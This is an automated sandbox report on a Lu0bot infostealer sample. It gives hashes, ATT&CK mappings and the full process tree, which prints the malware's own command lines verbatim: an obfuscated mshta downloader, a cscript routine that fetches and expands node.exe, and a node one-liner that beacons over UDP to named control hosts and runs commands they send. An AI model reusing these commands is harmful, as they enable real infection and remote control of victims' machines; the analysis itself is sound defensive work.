lu0bot | 4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13

General

Target

usfive_20210630-104612.exe
Size

3KB
MD5

79fa77b796300ef5bafb6bcee46fc30f
SHA1

e6ba2132d8058c0532492da00aaec117fff56df4
SHA256

4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13
SHA512

0ae044695cffc50eb1c112ee85e37d0e0c9779c4f6bbbbabb6cd85771ac408414dfd3f804f8175fb56a6d995b259f830cbd6f2380cecb08975955e63f0204faf

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
Blocklisted process makes network request 2 IoCs

Processes:

mshta.execscript.exe

flow pid process

11 3564 mshta.exe
13 3184 cscript.exe
Executes dropped EXE 1 IoCs

Processes:

node.exe

pid process

1996 node.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

3820 icacls.exe

flow	pid	process
11	3564	mshta.exe
13	3184	cscript.exe

pid	process
1996	node.exe

pid	process
3820	icacls.exe

Drops file in Windows directory 2 IoCs

Processes:

expand.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

2344 tasklist.exe
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exenetstat.exe

pid process

192 ipconfig.exe
3672 netstat.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

3476 systeminfo.exe

pid	process
2344	tasklist.exe

pid	process
192	ipconfig.exe
3672	netstat.exe

pid	process
3476	systeminfo.exe

NTFS ADS 2 IoCs

Processes:

node.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\2cac3584d768831d:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:89bd20b153dc37ca5044ce282524b1cc	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

node.exe

pid process

1996 node.exe
1996 node.exe
1996 node.exe
1996 node.exe

pid	process
1996	node.exe
1996	node.exe
1996	node.exe
1996	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

tasklist.exewmic.exenetstat.exe

description	pid	process
Token: SeDebugPrivilege	2344	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3632	wmic.exe
Token: SeSecurityPrivilege	3632	wmic.exe
Token: SeTakeOwnershipPrivilege	3632	wmic.exe
Token: SeLoadDriverPrivilege	3632	wmic.exe
Token: SeSystemProfilePrivilege	3632	wmic.exe
Token: SeSystemtimePrivilege	3632	wmic.exe
Token: SeProfSingleProcessPrivilege	3632	wmic.exe
Token: SeIncBasePriorityPrivilege	3632	wmic.exe
Token: SeCreatePagefilePrivilege	3632	wmic.exe
Token: SeBackupPrivilege	3632	wmic.exe
Token: SeRestorePrivilege	3632	wmic.exe
Token: SeShutdownPrivilege	3632	wmic.exe
Token: SeDebugPrivilege	3632	wmic.exe
Token: SeSystemEnvironmentPrivilege	3632	wmic.exe
Token: SeRemoteShutdownPrivilege	3632	wmic.exe
Token: SeUndockPrivilege	3632	wmic.exe
Token: SeManageVolumePrivilege	3632	wmic.exe
Token: 33	3632	wmic.exe
Token: 34	3632	wmic.exe
Token: 35	3632	wmic.exe
Token: 36	3632	wmic.exe
Token: SeIncreaseQuotaPrivilege	3632	wmic.exe
Token: SeSecurityPrivilege	3632	wmic.exe
Token: SeTakeOwnershipPrivilege	3632	wmic.exe
Token: SeLoadDriverPrivilege	3632	wmic.exe
Token: SeSystemProfilePrivilege	3632	wmic.exe
Token: SeSystemtimePrivilege	3632	wmic.exe
Token: SeProfSingleProcessPrivilege	3632	wmic.exe
Token: SeIncBasePriorityPrivilege	3632	wmic.exe
Token: SeCreatePagefilePrivilege	3632	wmic.exe
Token: SeBackupPrivilege	3632	wmic.exe
Token: SeRestorePrivilege	3632	wmic.exe
Token: SeShutdownPrivilege	3632	wmic.exe
Token: SeDebugPrivilege	3632	wmic.exe
Token: SeSystemEnvironmentPrivilege	3632	wmic.exe
Token: SeRemoteShutdownPrivilege	3632	wmic.exe
Token: SeUndockPrivilege	3632	wmic.exe
Token: SeManageVolumePrivilege	3632	wmic.exe
Token: 33	3632	wmic.exe
Token: 34	3632	wmic.exe
Token: 35	3632	wmic.exe
Token: 36	3632	wmic.exe
Token: SeDebugPrivilege	3672	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

usfive_20210630-104612.exemshta.execmd.execscript.exenode.exe

description	pid	process	target process
PID 3128 wrote to memory of 3564	3128	usfive_20210630-104612.exe	mshta.exe
PID 3128 wrote to memory of 3564	3128	usfive_20210630-104612.exe	mshta.exe
PID 3128 wrote to memory of 3564	3128	usfive_20210630-104612.exe	mshta.exe
PID 3564 wrote to memory of 2784	3564	mshta.exe	cmd.exe
PID 3564 wrote to memory of 2784	3564	mshta.exe	cmd.exe
PID 3564 wrote to memory of 2784	3564	mshta.exe	cmd.exe
PID 2784 wrote to memory of 3184	2784	cmd.exe	cscript.exe
PID 2784 wrote to memory of 3184	2784	cmd.exe	cscript.exe
PID 2784 wrote to memory of 3184	2784	cmd.exe	cscript.exe
PID 2784 wrote to memory of 2624	2784	cmd.exe	expand.exe
PID 2784 wrote to memory of 2624	2784	cmd.exe	expand.exe
PID 2784 wrote to memory of 2624	2784	cmd.exe	expand.exe
PID 2784 wrote to memory of 3008	2784	cmd.exe	cscript.exe
PID 2784 wrote to memory of 3008	2784	cmd.exe	cscript.exe
PID 2784 wrote to memory of 3008	2784	cmd.exe	cscript.exe
PID 3008 wrote to memory of 1996	3008	cscript.exe	node.exe
PID 3008 wrote to memory of 1996	3008	cscript.exe	node.exe
PID 3008 wrote to memory of 1996	3008	cscript.exe	node.exe
PID 1996 wrote to memory of 852	1996	node.exe	cmd.exe
PID 1996 wrote to memory of 852	1996	node.exe	cmd.exe
PID 1996 wrote to memory of 852	1996	node.exe	cmd.exe
PID 1996 wrote to memory of 3156	1996	node.exe	cacls.exe
PID 1996 wrote to memory of 3156	1996	node.exe	cacls.exe
PID 1996 wrote to memory of 3156	1996	node.exe	cacls.exe
PID 1996 wrote to memory of 3820	1996	node.exe	icacls.exe
PID 1996 wrote to memory of 3820	1996	node.exe	icacls.exe
PID 1996 wrote to memory of 3820	1996	node.exe	icacls.exe
PID 1996 wrote to memory of 2136	1996	node.exe	attrib.exe
PID 1996 wrote to memory of 2136	1996	node.exe	attrib.exe
PID 1996 wrote to memory of 2136	1996	node.exe	attrib.exe
PID 1996 wrote to memory of 3260	1996	node.exe	attrib.exe
PID 1996 wrote to memory of 3260	1996	node.exe	attrib.exe
PID 1996 wrote to memory of 3260	1996	node.exe	attrib.exe
PID 1996 wrote to memory of 2344	1996	node.exe	tasklist.exe
PID 1996 wrote to memory of 2344	1996	node.exe	tasklist.exe
PID 1996 wrote to memory of 2344	1996	node.exe	tasklist.exe
PID 1996 wrote to memory of 3632	1996	node.exe	wmic.exe
PID 1996 wrote to memory of 3632	1996	node.exe	wmic.exe
PID 1996 wrote to memory of 3632	1996	node.exe	wmic.exe
PID 1996 wrote to memory of 192	1996	node.exe	ipconfig.exe
PID 1996 wrote to memory of 192	1996	node.exe	ipconfig.exe
PID 1996 wrote to memory of 192	1996	node.exe	ipconfig.exe
PID 1996 wrote to memory of 2952	1996	node.exe	route.exe
PID 1996 wrote to memory of 2952	1996	node.exe	route.exe
PID 1996 wrote to memory of 2952	1996	node.exe	route.exe
PID 1996 wrote to memory of 3672	1996	node.exe	netstat.exe
PID 1996 wrote to memory of 3672	1996	node.exe	netstat.exe
PID 1996 wrote to memory of 3672	1996	node.exe	netstat.exe
PID 1996 wrote to memory of 3476	1996	node.exe	systeminfo.exe
PID 1996 wrote to memory of 3476	1996	node.exe	systeminfo.exe
PID 1996 wrote to memory of 3476	1996	node.exe	systeminfo.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

2136 attrib.exe
3260 attrib.exe

pid	process
2136	attrib.exe
3260	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();35;y=unescape('%321%32%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E2%322').split('~');73;try{x='WinHttp';187;x=new ActiveXObject(x+'.'+x+'Request.5.1');250;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);84;x.send();170;y='ipt.S';202;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);34;}catch(e){};67;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1625764580654.txt & cscript /nologo /e:jscript get1625764580654.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F272674c25%26b%3D6f2bff70" node.cab & expand node.cab node.exe & del get1625764580654.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1625764580654.txt & cscript /nologo /e:jscript get1625764580654.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2772674c25%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1625764580654.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1625764580654.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F272674c25%26b%3D6f2bff70" node.cab
      4⤵
      Blocklisted process makes network request
      PID:3184
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:2624
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1625764580654.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2772674c25%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2772674c25%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1996
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:852
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3156
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3820
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:2136
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3260
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3632
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:192
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:2952
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3672
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3476

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

1

T1059

Persistence

Hidden Files and Directories

1

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Hidden Files and Directories

1

T1158

Credential Access

Discovery

Process Discovery

Query Registry

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\DNTException\get1625764580654.txt

MD5
52ec5ebd8a447b5115ce83e703bcde51

SHA1
38ce97f87c6be668d07985558fc89c53e27770a3

SHA256
ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615

SHA512
9af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32

Download Submit
C:\ProgramData\DNTException\get1625764580654.txt

MD5
e15f82747d0884d61a5bc4fb2db7d29d

SHA1
aca478622586f17603fe56705fd319b75198b2b0

SHA256
982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f

SHA512
d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d

Download Submit
C:\ProgramData\DNTException\node.cab

MD5
c7ed3d9304a29c8b472174bd910be071

SHA1
22b7d55b80acd434c13b0a2d8c59b45c10220a42

SHA256
abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441

SHA512
c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2

Download Submit
C:\ProgramData\DNTException\node.exe

MD5
11f0b4e17e686cdc46f85a6becede4a8

SHA1
2826f7ac33b43439ecddd08ad541a7f54a9eb7c0

SHA256
6a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c

SHA512
11a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f

Download Submit
C:\ProgramData\DNTException\node.exe

MD5
11f0b4e17e686cdc46f85a6becede4a8

SHA1
2826f7ac33b43439ecddd08ad541a7f54a9eb7c0

SHA256
6a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c

SHA512
11a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f

Download Submit
memory/192-138-0x0000000000000000-mapping.dmp

Download
memory/852-131-0x0000000000000000-mapping.dmp

Download
memory/1996-127-0x0000000014E00000-0x0000000014E01000-memory.dmp

Filesize
4KB

Download
memory/1996-123-0x0000000000000000-mapping.dmp

Download
memory/1996-126-0x000000003FA00000-0x000000003FA01000-memory.dmp

Filesize
4KB

Download
memory/1996-125-0x0000000036500000-0x0000000036501000-memory.dmp

Filesize
4KB

Download
memory/1996-128-0x000000003DB00000-0x000000003DB01000-memory.dmp

Filesize
4KB

Download
memory/1996-129-0x0000000026E00000-0x0000000026E01000-memory.dmp

Filesize
4KB

Download
memory/1996-130-0x0000000004700000-0x0000000004701000-memory.dmp

Filesize
4KB

Download
memory/2136-134-0x0000000000000000-mapping.dmp

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memory/2344-136-0x0000000000000000-mapping.dmp

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memory/2624-118-0x0000000000000000-mapping.dmp

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memory/2784-115-0x0000000000000000-mapping.dmp

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memory/2952-139-0x0000000000000000-mapping.dmp

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memory/3008-120-0x0000000000000000-mapping.dmp

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memory/3156-132-0x0000000000000000-mapping.dmp

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memory/3184-116-0x0000000000000000-mapping.dmp

Download
memory/3260-135-0x0000000000000000-mapping.dmp

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memory/3476-141-0x0000000000000000-mapping.dmp

Download
memory/3564-114-0x0000000000000000-mapping.dmp

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memory/3632-137-0x0000000000000000-mapping.dmp

Download
memory/3672-140-0x0000000000000000-mapping.dmp

Download
memory/3820-133-0x0000000000000000-mapping.dmp

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Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads